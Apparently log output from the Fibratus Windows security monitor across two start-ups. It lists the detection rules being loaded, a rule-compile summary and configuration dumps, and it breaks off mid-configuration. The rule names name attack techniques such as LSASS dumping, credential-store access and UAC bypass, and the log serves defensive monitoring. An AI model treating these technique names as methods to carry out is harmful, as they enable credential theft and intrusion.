+time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-28T16:56:02+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-11-28T16:56:02+01:00 level=info msg=bootstrapping with pid 16576. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-11-28T16:56:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false port=>25 use-template=>true to=>[]] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ min-buffers=>16 flush-interval=>1s enable-dns=>false enable-threadpool=>false max-buffers=>36 enable-mem=>true enable-thread=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-fileio=>true enable-handle=>false buffer-size=>512 enable-net=>true stack-enrichment=>true enable-registry=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-backups=>15 formatter=>text max-size=>100 level=>info] + output ......................... [ http=>[ enabled=>false endpoints=>[] timeout=>5s serializer=>json tls-insecure-skip-verify=>false method=>POST enable-gzip=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ trace-log=>false template-name=>fibratus bulk-workers=>1 index-name=>fibratus timeout=>5s gzip-compression=>false enabled=>false healthcheck-timeout=>5s sniff=>false servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-interval=>10s flush-period=>1s] amqp=>[ routing-key=>fibratus exchange=>fibratus durable=>false exchange-type=>topic timeout=>5s tls-insecure-skip-verify=>false url=>amqp://localhost:5672 enabled=>false delivery-mode=>transient vhost=>/ passive=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] skip-registry=>false skip-files=>false scan-timeout=>10s skip-allocs=>false enabled=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-11-28T16:56:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:56:05+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:56:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T16:56:40+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:56:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:58:32+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-28T16:58:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-28T16:58:33+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-11-28T16:58:33+01:00 level=info msg=bootstrapping with pid 2776. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-11-28T16:58:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] port=>25 enabled=>false content-type=>text/html use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-image=>true max-buffers=>36 enable-thread=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-net=>true enable-registry=>true min-buffers=>16 stack-enrichment=>true enable-mem=>true enable-fileio=>true enable-vamap=>true buffer-size=>512 enable-dns=>false enable-handle=>false flush-interval=>1s] + filament ....................... [ 